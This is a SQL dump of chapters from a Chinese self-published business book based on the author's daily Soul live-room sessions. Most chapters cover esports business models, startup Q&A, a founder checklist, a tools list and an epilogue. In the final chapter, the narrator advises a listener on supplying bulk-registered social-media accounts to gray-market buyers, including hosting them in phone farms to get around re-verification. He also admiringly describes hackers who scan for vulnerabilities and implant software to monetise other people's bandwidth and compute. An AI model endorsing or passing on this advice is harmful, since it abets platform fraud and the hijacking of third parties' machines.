,你还得赔礼道歉。\"\n\n\"而且这个生意没有壁垒,谁都能做。\"\n\n我说:\"陪玩这个赛道,天花板很低。整个市场一年不到50个亿。\"\n\n\"你想做大,很难。规模一大,管理成本就上去了。\"\n\n\"所以很多人做陪玩,做着做着就转型了。\"\n\n---\n\n我接着往下聊。\n\n\"陪玩是最底层的电竞生意。往上一层,是签约选手做私域。\"\n\n有人问:\"什么意思?\"\n\n我说:\"我们做的事情很简单。签约电竞明星,拿过全国冠军、世界冠军的电竞玩家。\"\n\n\"他们有粉丝,但不会变现。我们签约他们,把粉丝用系统囤到私域,做转化。\"\n\n有人问:\"怎么转化?\"\n\n我说:\"第一种,知识付费。选手开课教粉丝打游戏,199、299、499不同价位。\"\n\n\"第二种,游戏账号典当。你在游戏里充了几万块,账号值钱但你缺钱,抵押给我们。\"\n\n\"第三种,大健康产品。电竞选手最需要什么?颈椎病调理、肝脏保养。\"\n\n\"第四种,高净值文化产品。霜之哀伤复刻版,在我们粉丝群标价17万。\"\n\n---\n\n有人问:\"签约一个选手能赚多少?\"\n\n我说:\"头部选手粉丝几百万,运营好一年能做几百万营收。\"\n\n\"但选手不懂私域。我们提供整套服务:内容策划、粉丝运营、供应链、客服。\"\n\n\"选手配合公司的内容运营拍视频开直播就行,我们分成。\"\n\n这就是为什么同样是电竞,有人月入两万累得要死,有人年入几百万还说自己刚起步。\n\n位置不一样,赚的钱就不一样。\n\n---\n\n有人问:\"还有什么电竞生意?\"\n\n我说:\"电竞酒店。以前是网吧,现在是电竞馆、电竞酒店。\"\n\n有个在泉州开网吧的老板接话。\n\n他说他的网吧叫艾尔文,开了十几年了,现在生意不好做,想转型。\n\n\"以前网吧靠卖机时,现在大家都有手机有电脑,谁还来网吧?\"\n\n\"年轻人来网吧,不是为了上网,是为了氛围。\"\n\n\"所以现在网吧都在转型,做电竞酒店、做电竞主题包厢。\"\n\n我说:\"我们在泉州那边投了一些点。核心逻辑不是卖机时,是卖场景。\"\n\n\"你来电竞酒店,可以开黑、可以住宿、可以点餐、可以直播。我们赚的不是机时,是增值服务。\"\n\n---\n\n有人问:\"电竞酒店利润怎么样?\"\n\n我说:\"要看位置和运营。好的位置,一个包间一天能卖500到800。\"\n\n\"配合私域运营,把客户加进来,做复购和会员,利润能更高。\"\n\n---\n\n那天聊到快8点,有人在公屏打字:\"原来电竞这么多门道。\"\n\n我说:\"电竞不是一个点,是一条链。\"\n\n\"底层是陪玩,赚辛苦钱。\"\n\n\"中间是签约选手,赚私域钱。\"\n\n\"上层是电竞酒店,赚场景钱。\"\n\n\"你在哪一层,决定了你能赚多少钱。\"\n\n---\n\n我停了一下,把话说得更直。\n\n\"但不管在哪一层,核心都一样。\"\n\n\"第一,你要有流量入口。\"\n\n\"第二,你要有变现产品。\"\n\n\"第三,你要有运营团队。\"\n\n\"三者缺一不可。\"\n\n---\n\n有人问:\"我想进入电竞赛道,从哪里开始?\"\n\n我说:\"从你有的资源开始。\"\n\n\"你认识选手,就做签约。\"\n\n\"你有场地,就做电竞酒店。\"\n\n\"你什么都没有,就从陪玩开始,先赚第一桶金。\"\n\n\"不要想一步登天,先在链条里找一个位置站住。\"\n\n---\n\n后来有个做电竞的朋友私聊我。\n\n他问:\"你们这套东西能不能带我玩?\"\n\n我说:\"能,但你得先想清楚一件事。你是想赚快钱,还是想做长期?\"\n\n他说:\"长期。\"\n\n我说:\"那就对了。电竞这个行业,快钱好赚但不长久。真正能做大的,都是把链条打通的人。\"\n\n\"如果你想了解更多,可以先加到群里,看看我们怎么做的。有问题随时问,有合作机会随时聊。\"\n\n---\n\n做电竞这么多年,我最大的感受是什么?\n\n这个行业变化太快了。\n\n三年前火的东西,现在可能已经凉了。\n\n三年后火的东西,现在可能还没出现。\n\n但有一件事是不变的。\n\n谁能把流量、产品、运营这三件事做好,谁就能在这个行业里活下去。\n\n电竞如此,其他行业也是如此。\n\n有时候,找到一个能帮你理清链条的人,比找到一个好项目更重要。\n', 1896, 0, 1.00, 54, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.071', 0, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (63, 'appendix-1', 'appendix', '附录', 'appendix', '附录', 'Soul派对房精选对话', '以下是从Soul派对房聊天记录中精选的一些对话片段,这些对话展现了派对房里真实的交流氛围和思想碰撞。\n\n如果你在正文中看到了感兴趣的案例,这里有更多类似的问答可以参考。\n\n---\n\n## 关于创业\n\n**问:** 我想创业,但不知道做什么,怎么办?\n\n**答:** 不知道做什么,就先别创业。先去打工,去不同的行业看看,找到你感兴趣的、擅长的、有市场的交叉点。创业\n\n不是逃避,是选择。\n\n---\n\n**问:** 创业需要多少钱?\n\n**答:** 这个问题问错了。不是你有多少钱决定你能不能创业,而是你想做什么决定你需要多少钱。有的生意几千块就能\n\n开始,有的生意几百万都不够。先想清楚做什么,再算需要多少钱。\n\n---\n\n**问:** 创业失败了怎么办?\n\n**答:** 失败了就复盘,看看为什么失败,学到什么教训。然后要么再来一次,要么换个方向。失败不可怕,可怕的是失\n\n败了不知道为什么,下次还会犯同样的错误。\n\n---\n\n**问:** 合伙人怎么找?\n\n**答:** 找合伙人比找老公还难。第一,能力要互补,你不会的他会。第二,价值观要一致,对钱、对事、对人的看法要\n\n差不多。第三,要能吵架,吵完还能继续合作的,才是好合伙人。\n\n---\n\n## 关于赚钱\n\n**问:** 怎么才能赚到钱?\n\n**答:** 赚钱的本质是解决问题。你能解决什么问题?这个问题有多少人有?能解决这个问题的人有多少?想清楚这三个\n\n问题,你就知道怎么赚钱了。\n\n---\n\n**问:** 为什么有的人赚钱很容易?\n\n**答:** 看起来容易,是因为你没看到他之前的积累。没有人是突然赚到钱的,都是长期积累的结果。你看到的是他赚钱\n\n的那一刻,没看到他之前付出的十年。\n\n---\n\n**问:** 副业做什么好?\n\n**答:** 副业最好跟你的主业相关,或者跟你的兴趣相关。这样你不用从零开始学,而且你有动力坚持。不要为了赚钱去\n\n做你不喜欢的副业,那样坚持不了多久。\n\n---\n\n**问:** 私域怎么做?\n\n**答:** 私域的本质是信任。你要先提供价值,让别人信任你,然后才能变现。很多人搞反了,一上来就想卖东西,结果\n\n把人都吓跑了。先给,后得。\n\n---\n\n## 关于人际关系\n\n**问:** 怎么判断一个人值不值得合作?\n\n**答:** 看三点。第一,他做过什么?不是他说过什么,是他做过什么。第二,别人怎么评价他?找他合作过的人问问。\n\n第三,你们的利益是否一致?利益一致才能长期合作。\n\n---\n\n**问:** 朋友找我借钱怎么办?\n\n**答:** 借出去的钱,就当送出去了。如果你送不起,就别借。借钱容易伤感情,不是因为钱,是因为期待。你期待他还,他可能还不上,然后你们的关系就变了。\n\n---\n\n**问:** 怎么拓展人脉?\n\n**答:** 人脉不是认识多少人,是多少人愿意帮你。想让别人愿意帮你,你得先能帮到别人。所以拓展人脉的最好方式,\n\n是提升自己的价值,让自己成为别人想认识的人。\n\n---\n\n## 关于个人成长\n\n**问:** 怎么提升自己?\n\n**答:** 三个方向。第一,学习,不断吸收新知识。第二,实践,把学到的东西用起来。第三,复盘,总结经验教训。学\n\n习、实践、复盘,循环往复,你就会不断进步。\n\n---\n\n**问:** 感觉自己很迷茫怎么办?\n\n**答:** 迷茫是正常的,说明你在思考。不要急着找到答案,先去尝试。试了才知道喜不喜欢,适不适合。迷茫的时候,\n\n行动比思考更重要。\n\n---\n\n**问:** 怎么找到自己的方向?\n\n**答:** 方向不是想出来的,是试出来的。你不试,永远不知道自己喜欢什么、擅长什么。去尝试不同的事情,慢慢你就\n\n会找到自己的方向。\n\n---\n\n## 关于生活\n\n**问:** 工作和生活怎么平衡?\n\n**答:** 没有完美的平衡,只有取舍。你想要什么,就要放弃什么。关键是想清楚你的优先级是什么,然后按照优先级来\n\n分配时间和精力。\n\n---\n\n**问:** 感觉压力很大怎么办?\n\n**答:** 压力大说明你在做有挑战的事情,这是好事。但如果压力大到影响健康,那就要调整。要么降低目标,要么寻求\n\n帮助,要么换个环境。健康是一切的基础。\n\n---\n\n**问:** 年龄大了还能创业吗?\n\n**答:** 年龄从来不是问题,心态才是。我们派对房里有70后还在学新东西,有90后已经躺平了。关键不是你多大,是你\n\n还有没有学习和改变的意愿。\n\n---\n\n*以上对话均来自Soul派对房的真实交流,有删减和整理。*\n\n*如果你想参与更多这样的讨论,欢迎每天早上6点来Soul派对房。*', 4930, 0, 1.00, 80, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.369', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (64, 'appendix-2', 'appendix', '附录', 'appendix', '附录', '创业者自检清单', '这份清单是从Soul派对房的讨论中总结出来的,供想要创业或正在创业的人参考。\n\n---\n\n## 一、创业前自检\n\n### 1. 关于自己\n\n- [ ] 我清楚自己为什么想创业(不是逃避打工,而是有明确的目标)\n- [ ] 我知道自己擅长什么、不擅长什么\n- [ ] 我有至少一项可以变现的技能或资源\n- [ ] 我能承受创业失败的后果(经济上、心理上)\n- [ ] 我的家人支持我创业(或至少不反对)\n\n### 2. 关于项目\n\n- [ ] 我清楚要解决什么问题\n- [ ] 这个问题足够多人有(市场足够大)\n- [ ] 我知道目标用户是谁\n- [ ] 我了解竞争对手是谁、他们怎么做\n- [ ] 我知道我的优势是什么(为什么用户选我而不选别人)\n\n### 3. 关于资源\n\n- [ ] 我有足够的启动资金(至少能撑6-12个月)\n- [ ] 我有备用的生活费(创业期间不会饿死)\n- [ ] 我有可以求助的人脉资源\n- [ ] 我知道去哪里找合伙人/员工/供应商\n\n### 4. 关于准备\n\n- [ ] 我做过市场调研(不是拍脑袋想的)\n- [ ] 我算过财务账(成本、收入、利润、回本周期)\n- [ ] 我想过可能的风险和应对方案\n- [ ] 我有一个可执行的计划(不是空想)\n\n---\n\n## 二、创业中自检\n\n### 1. 关于方向\n\n- [ ] 我的产品/服务真的解决了用户的问题\n- [ ] 用户愿意为此付费(不只是说好,而是真的付钱)\n- [ ] 我的商业模式是可持续的(不是一锤子买卖)\n- [ ] 我知道下一步该往哪个方向发展\n\n### 2. 关于运营\n\n- [ ] 我知道我的获客成本是多少\n- [ ] 我知道我的客户终身价值是多少\n- [ ] 我的现金流是健康的(不会突然断裂)\n- [ ] 我有复盘的习惯(定期总结经验教训)\n\n### 3. 关于团队\n\n- [ ] 我的团队成员能力互补\n- [ ] 团队成员的利益分配是清晰的\n- [ ] 团队有共同的目标和价值观\n- [ ] 我能有效地管理和激励团队\n\n### 4. 关于心态\n\n- [ ] 我能接受失败和挫折\n- [ ] 我能在压力下保持冷静\n- [ ] 我愿意听取不同的意见\n- [ ] 我保持学习和成长的状态\n\n---\n\n## 三、危险信号自检\n\n如果以下情况出现,需要认真反思:\n\n### 红色警报(需要立即处理)\n\n- [ ] 连续3个月以上现金流为负\n- [ ] 核心团队成员离开\n- [ ] 主要客户流失\n- [ ] 身体健康出现严重问题\n- [ ] 家庭关系严重恶化\n\n### 黄色警报(需要关注)\n\n- [ ] 收入增长停滞\n- [ ] 获客成本持续上升\n- [ ] 团队士气低落\n- [ ] 竞争对手快速崛起\n- [ ] 行业政策发生变化\n\n---\n\n## 四、退出机制自检\n\n创业不是只进不退,要提前想好退出机制:\n\n- [ ] 我知道在什么情况下应该放弃\n- [ ] 我有退出后的备选方案(重新找工作、换个方向等)\n- [ ] 我的损失是可控的(不会倾家荡产)\n- [ ] 我能接受\"这次创业失败\"这个结果\n\n---\n\n## 使用说明\n\n1. 创业前,把第一部分的清单过一遍,确保准备充分\n2. 创业中,每月把第二部分的清单过一遍,及时发现问题\n3. 如果出现第三部分的危险信号,立即采取行动\n4. 始终记住第四部分,创业是可以退出的,不要死撑\n\n---\n\n*这份清单不是标准答案,而是思考的起点。每个人的情况不同,请根据自己的实际情况调整。*', 3366, 0, 1.00, 81, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.380', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (65, 'appendix-3', 'appendix', '附录', 'appendix', '附录', '本书提到的工具和资源', '以下是本书中提到的各类工具和资源,供读者参考。\n\n---\n\n## 一、AI工具类\n\n### 通用AI助手\n- **ChatGPT** - OpenAI的对话AI,可用于写作、编程、分析等\n- **Claude** - Anthropic的AI助手,擅长长文本处理\n- **DeepSeek** - 国产AI大模型,性价比高\n- **豆包** - 字节跳动的AI助手\n\n### AI编程工具\n- **Cursor** - AI辅助编程IDE\n- **TRAE** - 字节跳动的AI编程工具\n- **GitHub Copilot** - 代码自动补全工具\n\n### AI视频/图像工具\n- **Midjourney** - AI图像生成\n- **DALL-E** - OpenAI的图像生成\n- **Creatify** - AI广告视频生成\n- **InVideo** - 长视频转短视频\n- **剪映** - 视频剪辑工具(含AI功能)\n\n### AI自动化工具\n- **N8N** - 开源自动化工作流\n- **RPA工具** - 机器人流程自动化\n\n---\n\n## 二、内容创作类\n\n### 短视频平台\n- **抖音** - 国内最大的短视频平台\n- **小红书** - 种草和生活分享平台\n- **B站** - 中长视频平台\n- **Soul** - 社交+内容平台\n\n### 内容工具\n- **剪映** - 视频剪辑\n- **Canva** - 图片设计\n- **Notion** - 笔记和知识管理\n- **飞书文档** - 协作文档\n\n---\n\n## 三、电商/私域类\n\n### 电商平台\n- **淘宝/天猫** - 传统电商\n- **拼多多** - 社交电商\n- **抖音小店** - 内容电商\n- **闲鱼** - 二手交易\n\n### 私域工具\n- **微信** - 私域运营主阵地\n- **企业微信** - 企业级私域管理\n- **小鹅通** - 知识付费平台\n- **有赞** - 电商SaaS\n\n---\n\n## 四、效率工具类\n\n### 项目管理\n- **飞书** - 协作办公\n- **钉钉** - 企业通讯\n- **Trello** - 看板管理\n- **Notion** - 全能工作台\n\n### 文档协作\n- **腾讯文档** - 在线协作\n- **石墨文档** - 在线协作\n- **Google Docs** - 在线文档\n\n### 思维工具\n- **XMind** - 思维导图\n- **幕布** - 大纲笔记\n- **Miro** - 在线白板\n\n---\n\n## 五、学习资源类\n\n### 在线学习\n- **得到** - 知识付费\n- **混沌学园** - 商业课程\n- **三节课** - 互联网课程\n- **网易云课堂** - 综合学习平台\n\n### 信息获取\n- **36氪** - 科技商业媒体\n- **虎嗅** - 商业资讯\n- **少数派** - 效率工具\n- **即刻** - 兴趣社区\n\n---\n\n## 六、创业服务类\n\n### 工商财税\n- **企查查/天眼查** - 企业信息查询\n- **慧算账** - 财税服务\n- **各地政务服务网** - 工商注册\n\n### 法律服务\n- **法大大** - 电子合同\n- **律图** - 法律咨询\n\n### 融资对接\n- **IT桔子** - 创投数据\n- **36氪** - 融资报道\n- **创业邦** - 创业服务\n\n---\n\n## 使用建议\n\n1. **工具只是手段**,不要为了用工具而用工具,要根据实际需求选择\n2. **先用免费版**,确定适合自己再考虑付费\n3. **不要贪多**,每类工具选一两个深度使用即可\n4. **持续关注新工具**,但不要频繁更换,稳定比新鲜更重要\n\n---\n\n*注:以上工具和资源仅供参考,不构成推荐。请根据自己的实际需求选择使用。工具会不断更新,请以最新版本为准。*', 3047, 0, 1.00, 82, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.392', 2, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (66, 'epilogue', 'appendix', '附录', 'appendix', '附录', '这本书的真实目的', '# 尾声|这本书的真实目的\n\n2026年1月2日,周四,早上6点01分。\n\n这是我在Soul上开的第60场派对。\n\n也是这本书记录的最后一场。\n\n---\n\n写到这里,这本书就要结束了。\n\n但在结束之前,我想跟你聊聊,这本书的真实目的是什么。\n\n---\n\n2025年10月,我开始在Soul上每天早上6点开播。\n\n到现在,已经开了五十多场。\n\n每一场,都有不同的人进来,聊不同的话题。\n\n有人聊创业,有人聊工作,有人聊感情,有人聊人生。\n\n我把这些对话记录下来,整理成了这本书。\n\n---\n\n但这本书的目的,不是记录。\n\n记录只是手段,不是目的。\n\n---\n\n这本书的真实目的是什么?\n\n是让你看到真实。\n\n---\n\n什么是真实?\n\n真实是,创业没有那么光鲜。\n\n大部分创业者,不是在聚光灯下侃侃而谈,而是在凌晨三点还在发愁明天的货款怎么办。\n\n真实是,赚钱没有那么容易。\n\n那些告诉你\"轻松月入十万\"的人,要么是在骗你,要么是在卖课。\n\n真实是,人性没有那么美好。\n\n有人会帮你,也有人会坑你。你要学会分辨,学会保护自己。\n\n真实是,失败比成功多得多。\n\n你看到的成功案例,背后可能有一百个失败案例。只是失败的人不会站出来说。\n\n---\n\n我为什么要让你看到这些真实?\n\n因为只有看到真实,你才能做出正确的决策。\n\n---\n\n很多人创业失败,不是因为他们不努力。\n\n而是因为他们被虚假的信息误导了。\n\n他们以为创业很简单,结果发现到处都是坑。\n\n他们以为只要努力就能成功,结果发现方向比努力更重要。\n\n他们以为别人会帮他们,结果发现大部分人只关心自己的利益。\n\n---\n\n如果他们一开始就知道这些真实,也许他们会做出不同的选择。\n\n也许他们会更谨慎地准备。\n\n也许他们会更清醒地看待风险。\n\n也许他们不会犯那些本可以避免的错误。\n\n---\n\n这就是这本书的真实目的。\n\n不是教你怎么成功。\n\n而是让你看清现实,然后做出适合自己的选择。\n\n---\n\n我经常在派对房里说一句话:\n\n\"这本书的真实目的,不是教你什么。而是告诉你什么。\"\n\n教和告诉,是不一样的。\n\n教,是我告诉你应该怎么做。\n\n告诉,是我把我看到的、经历的、思考的分享给你,然后你自己决定怎么做。\n\n---\n\n我不想教你。\n\n因为每个人的情况不一样,我的经验不一定适合你。\n\n我只想告诉你我看到的真实,然后让你自己判断。\n\n---\n\n如果这本书能让你:\n\n- 在冲动创业之前,多想一想\n- 在轻信别人之前,多问一问\n- 在追逐机会之前,多看一看\n- 在放弃之前,多撑一撑\n\n那这本书的目的就达到了。\n\n---\n\n最后,我想感谢每一个在Soul派对房里跟我聊过天的人。\n\n是你们的故事,构成了这本书。\n\n是你们的问题,激发了我的思考。\n\n是你们的陪伴,让我每天早上6点有动力开播。\n\n---\n\n这本书不是我一个人写的。\n\n是我们一起写的。\n\n---\n\n如果你读完这本书,有任何想法,欢迎来Soul找我聊。\n\n我每天早上6点,都在那里。\n\n如果你想看更多案例、工具清单和自检表,可以翻到后面的附录。\n\n那里有我们从派对房里整理出来的精华内容。\n\n---\n\n2026年1月2日早上7点38分,派对结束。\n\n我关掉直播,看着窗外渐渐亮起来的天。\n\n想起这三个月来遇到的人、聊过的话、记录的故事。\n\n有人说,写书是为了留下点什么。\n\n但我觉得,写书是为了连接。\n\n连接过去和未来,连接我和你,连接一个个孤独的灵魂。\n\n---\n\n愿你看清真实,然后勇敢前行。\n\n愿你少走弯路,但不怕走弯路。\n\n愿你找到属于自己的路,然后坚定地走下去。\n\n---\n\n我们Soul见。\n\n---\n\n**附录导读:**\n\n- **附录1|Soul派对房精选对话**:从派对房聊天记录中精选的问答,涵盖创业、赚钱、人际关系、个人成长等话题\n- **附录2|创业者自检清单**:创业前、创业中、危险信号、退出机制的完整自检表\n- **附录3|本书提到的工具和资源**:AI工具、内容创作、电商私域、效率工具、学习资源、创业服务的完整清单\n', 1489, 1, 0.00, 83, 'published', '2026-01-25 21:02:09.000', '2026-03-10 06:25:50.403', 9, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (67, 'preface', 'intro', '序言', 'preface', '序言', '为什么我每天早上6点在Soul开播?', '# 序言|为什么我每天早上6点在Soul开播?\n\n这不是一本教你成功的鸡汤书。\n\n也不是那种告诉你\"只要努力就能翻身\"的励志读物。\n\n这是一本真实的书。\n\n---\n\n每天早上6点,天还没亮,我就打开Soul,进入派对房,开始和陌生人说话。\n\n有人问我:\"卡若,你图什么?\"\n\n我图的是真实。\n\n在这个时间点,进来的人都带着目的。\n\n有人来找项目,有人来找钱,有人来找方向,有人来找人。\n\n他们不会跟你寒暄,不会跟你客套。\n\n他们上麦就问:\"卡若,这个生意能不能做?\"\n\n我喜欢这种直接。\n\n---\n\n我叫卡若,做生意22年了。\n\n电竞18年,私域12年,搭建天猫团队,破产过一次,爬起来又做了用户资产数字化的数字基建、AI数智员工。\n\n我踩过的坑,可能比很多人走过的路还多。\n\n但我不后悔。\n\n因为每一次失败,都让我看清并明白一些事情,自己一路上也在打怪升级,为了完成最终的梦想而一路前行。\n\n---\n\n2025年10月9日,我在Soul上开了第一场派对房。\n\n一开始的目标很简单:**开50场直播,链接1000个人。**\n\n结果第一场来了200多人,大家问项目、问资源、问怎么找合作伙伴。\n\n我发现,原来这么多人和我一样——\n\n在寻找,在迷茫,在试图找到一个能说真话的地方。\n\n---\n\n从那天开始,我每天早上6点开播,到现在已经开了67场(数据持续更新中)。\n\n**真实数据:**\n- 67场直播,累计5500多分钟;\n- 单场额外曝光46182次,人均停留13-25分钟;\n- 加微信40多人,线上团队20多人,进派对群100多人(每日递增中);\n- 线下见面27-35人(本地+外地).\n\n这个数据是什么概念?\n\nSoul的场观价值是抖音的20倍。\n\n同样100个场观,在Soul上能加几十个微信,在抖音上只能加几个。\n\n这就是为什么我选择在Soul开播。\n\n---\n\n在这67场里,我遇到了各种各样的人:\n\n有做电动车的荷包,在泉州管理1000辆车的车身广告;\n\n有做287人财税公司的老板,用30块外账引流做税筹;\n\n有拿到1亿AI投资找项目的资方;\n\n有做送水生意的创业者,计划覆盖更多物业写字楼;\n\n有从北京、上海、深圳飞过来泡茶的老板,一次带7个人;\n\n有刚失业找方向的年轻人;\n\n有欠了债想东山再起的创业者;\n\n也有只是想找个人聊聊天的孤独灵魂。\n\n我把他们的故事,筛选并记了下来。\n\n---\n\n这本书,就是这些故事的集合。\n\n我把它分成了五个部分:\n\n**第一篇:真实的人**——讲人与人之间的底层逻辑,讲那些人性困境的案例。\n\n**第二篇:真实的行业**——讲电商、内容、传统行业的真实打法。\n\n**第三篇:真实的错误**——讲别人踩过的坑,讲那些错过的机会。\n\n**第四篇:真实的赚钱**——讲赚钱的底层结构,讲我在Soul上亲访的赚钱案例。\n\n**第五篇:真实的社会**——讲未来职业的变化趋势,讲中国商业生态的走向。\n\n---\n\n我不保证你读完这本书就能赚到钱。\n\n但我保证,你读完这本书,会清醒一些。\n\n你会知道,哪些路是走不通的;\n\n你会知道,哪些人是不能合作的;\n\n你会知道,哪些机会是你能抓住的。\n\n自知者明,自胜者强。\n\n---\n\n这本书里的所有案例,都来自派对房的真实对话。\n\n没有线下见面的,我不会编造\"茶馆约见\"。\n\n没有发生的数据,我不会虚构\"年入千万\"。\n\n每一个故事,每一个数字,都有源头可查。\n\n因为那些每天早上6点进派对房的人,值得被认真对待。\n\n他们是真实的人,有真实的困境,在寻找真实的答案。\n\n这本书,就是我能给他们的,最真实的回应。\n\n---\n\n如果你正在迷茫,正在寻找方向,正在想\"我到底该做什么\",\n\n那就翻开这本书吧。\n\n也许你会在某个故事里,看到自己的影子。\n\n也许你会在某个案例里,找到你要的答案。\n\n---\n\n准备好了吗?\n\n我们开始。\n\n---\n\n卡若 \n2025年于厦门 \n每天早上6点,Soul派对房见\n', 1479, 1, 0.00, 0, 'published', '2026-01-25 21:02:08.000', '2026-03-10 06:25:49.458', 14, 0, 0, NULL, NULL, NULL); -INSERT INTO `chapters` VALUES (121, '10.01', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', '第102场|今年第一个红包你发给谁', '今年你第一个红包发给谁,比发多少重要。\n\n2026年2月17日,大年初一,早上8:01。\n\nSoul 上开了第 102 场。\n\n人不多,过年嘛,能来的都是真在听的。\n\n主题临时改的:今年过年,你第一个红包发给谁?\n\n我发了三个。不是只发三个红包,是「第一个」只发给这三个人,后面的该咋发咋发。\n\n---\n\n第一个发给一个亏过一个亿的哥们。\n\n他 13 年就做收银机、做美团那种模式,太早,市场没起来,嘎了,现在还在还债。\n\n年纪比我大,认知高,我跟他泡茶聊天学到不少,人脉也从他那儿来的。\n\n他找我有事我直接帮。\n\n我要的就是他那种视角,我自己看不到的。\n\n他也不会白要,看事情的角度、踩过的坑都会在聊天里带出来,这些比单次帮忙值钱。\n\n派对房里有人问那你图啥,我说你帮人的时候别老想自己,想多了反而卡住,不想,回馈自己会来。\n\n这种人叫引路人,一个就够了,多了你也顾不过来。\n\n---\n\n第二个,樊登读书福建那边的负责人。\n\n我那会儿在厦门搞抖音矩阵引流本地创业者,做出点数据,他们注意到了。\n\n聊的时候他不看你多能吹,就看你能不能解决问题、能不能复制、能不能有数。\n\n后来合作上了,别人一听「给樊登做过」就认。\n\n他还有一点:我哪儿做错了敢直接说,这事可能不对。\n\n人生只做一件最重要的事,也是他老敲我的。\n\n身边没人敢说你的时候,容易跑偏。\n\n有个皮鞭型的贵人能少走很多弯路,皮鞭型的不是让你舒服,是让你少踩坑,这种人也不多,有一个就够。\n\n---\n\n第三个,我老婆。\n\n钱她管,公司跟负责人对接也是她,生活上的事我都不太行,她兜着,没她我早崩了。\n\n她不懂我代码和方案细节,但她懂我这个人。\n\n我焦虑、身体不好情绪差的时候,都是她兜着,还会说「有人就有钱,身体第一,别的慢慢来」。\n\n我俩也有吵,有三个卡点摊开讲过,约好每人说三件,不憋着。\n\n她习惯先认错,然后找地方把卡点列出来讲清楚。\n\n关系里对错放后面,先别内耗。\n\n创业的人容易忽略身边人,其实后盾不稳,前面冲再猛也白搭。\n\n---\n\n红包这事儿,多大不重要,微信 200 封顶就是让你别压力大,意思到了就行,9 块 9 也行。\n\n心意型就是过节图个气氛,大小无所谓。\n\n建联型是礼尚往来,保持联系就行。\n\n交易型是一收就等于答应后面要办事、要场地要人要资源的,这种要慎收,收了就得办,不办关系更僵。\n\n一收就等于答应他后面要场地要人要资源的,我基本不收,七成没收。\n\n谁离你近先顾谁:自己、伴侣、小孩。\n\n不是自私,是你自己先垮了,谁都顾不上。\n\n---\n\n102 场下来,Soul 上机会在能接触到一线、能说真心话、多几个视角。\n\n第一波十来个人挺好稳的,每天把纪要丢群里、做做总结,有用。\n\n不订阅群主你看不到派对,很多人说找不到我,就是没点订阅。\n\n想在这上面捞个大项目比较难,但能合作的小事、靠谱的人是有,总结得做,每场聊了什么留下来大家能复盘能接着连。\n\n发完红包他们回你的时候顺带聊两句,比群发一句新年快乐有感觉。\n\n今年你第一个红包发给谁?想聊这个的,来派对房就行,每天纪要发群,每场都会总结一下。', 3564, 0, 1.00, 64, 'published', '2026-02-18 17:23:38.000', '2026-03-10 06:25:50.185', 1, 0, 0, 10.80, NULL, NULL); -INSERT INTO `chapters` VALUES (194, '10.02', 'part-2026-daily', '2026每日派对干货', 'chapter-2026-daily', '2026每日派对干货', ' 第103场|号商、某客与炸房', '有些钱你看到了,差一层窗户纸,人家不捅破你就拿不到。\n\n2026年2月18日,初二,早上7:17。\n\nSoul 上开了第 103 场,两个多小时。\n\n有人上麦问今年有啥规划,他说今年想去做号商,做社交 APP 的号,Soul、墨、QQ 这种。\n\n---\n\n他说他有流量,有注册的玩法,几毛钱一个号能产出来,卖十几块,利润翻好几倍。\n\n渠道也有,买号的人无限要,有多少吃多少。\n\n卡在中间一步:号注册完了,怎么存、怎么给买家登上去?\n\n只有一次接验证码的机会,注册用掉了,后面买家要登、要换绑都要二次验证,他这条链路没有。\n\n朋友那边已经跑通了,一天几万号出去,去年十月做到现在利润过两千个了,但这一步不告诉他。\n\n我说你假装客户去买一个,走一遍流程不就知道了。\n\n他说人家都是几万几万地出,不单个卖。\n\n那就从终端找。谁在买?淘宝、闲鱼、百度搜一下,总有零散卖的,买一个回来测,看他是怎么把号给你的。\n\n他说零散买的那种是换绑好了再卖的,跟他这种批量生产的不一样。\n\n他这种是几百台手机 24 小时注册,产出来的号没有二次接码,就卡在怎么存、怎么出。\n\n---\n\n我说你号存起来无非几种。\n\n要么云手机,号一直在云上,卖的时候卖云手机账号密码;要么真实手机,号一直在那批手机里,谁要就那批手机里登着用。\n\n深圳有个朋友,十五万台手机,root 好、接口打通,号一封就自动补,大主体直接对接收号的人,没有二次登录这事,消耗多少结算多少。\n\n你朋友有可能就是给这种大机房供货的。\n\n你如果能对接到这种,注册完直接进他机房、登在他手机矩阵上,你这边只负责产号,他那边负责登和补,就没有二次验证这一环。\n\n他说云手机别人买过去用起来很卡,没法用。真实手机寄过去的话,一个号才十几块,不可能连手机一起卖。\n\n我说那买这些号的人都是干啥的?灰产多,消耗量巨大,一个号用一两天就没了再买。\n\n他们不一定非要「拿到手里一个号」,他们要的是「能用」。\n\n你要是能对接那种机房,号一直在机房登着,他们用接口调你的号,封了自动补,你按消耗结算,就不存在把号「交给」谁的问题。\n\n他说懂了,链路可以往这个方向找。\n\n我说你先把自己这一段做好,注册、流量、产号你都有了,差中间就找两三家能解决登号、能接你量的人,有机会跑通。\n\n但有些钱就是人家不会卖给你,打钱也没用,只能自己摸,从终端反推,或者等机缘碰到懂又愿意合作的人。\n\n---\n\n后面聊到别的事,房炸了。\n\n聊到真正挣钱、能放大的东西,平台就容易掐,一讲就炸,只能讲点普通的、大众的。\n\n有人问能不能用别的词替代一下,比如某客。我说某客就某客吧。\n\n真正挣钱的某客,不是去黑什么,是把网上闲置的资源变现。\n\n电脑四大件,内存、硬盘、带宽、算力,很多人不知道能变现,某客就扫描、植入,把你的机器变成挂机的,带宽做 CDN,算力做节点,一台机器一年能多出几百上千块。\n\n人家干了二十几年,手上有几千台,躺着收。\n\n现在有 AI,自动扫、自动分析漏洞,翻倍了。这种才是真正用 AI 挣钱的人,一招吃几十年。\n\n普通人就自己挂 PCDN、挂节点,宽带费电费能省回来,等于免费用网。\n\n某客是另一条路,人家吃的是「别人不会」的那一块。\n\n---\n\n还有人说 14 岁小孩会 QQ 霸屏、SEO 霸屏,来投靠做了三年被挖走了,走的时候 17 岁,玛莎拉蒂都买了。\n\n核心是人,不是方法,方法会变,会修 bug,一直研究的那个人才值钱。\n\n今天也聊了地摊。有人问 10 万 20 万小项目,我说厦门有餐车、有定点,900 到 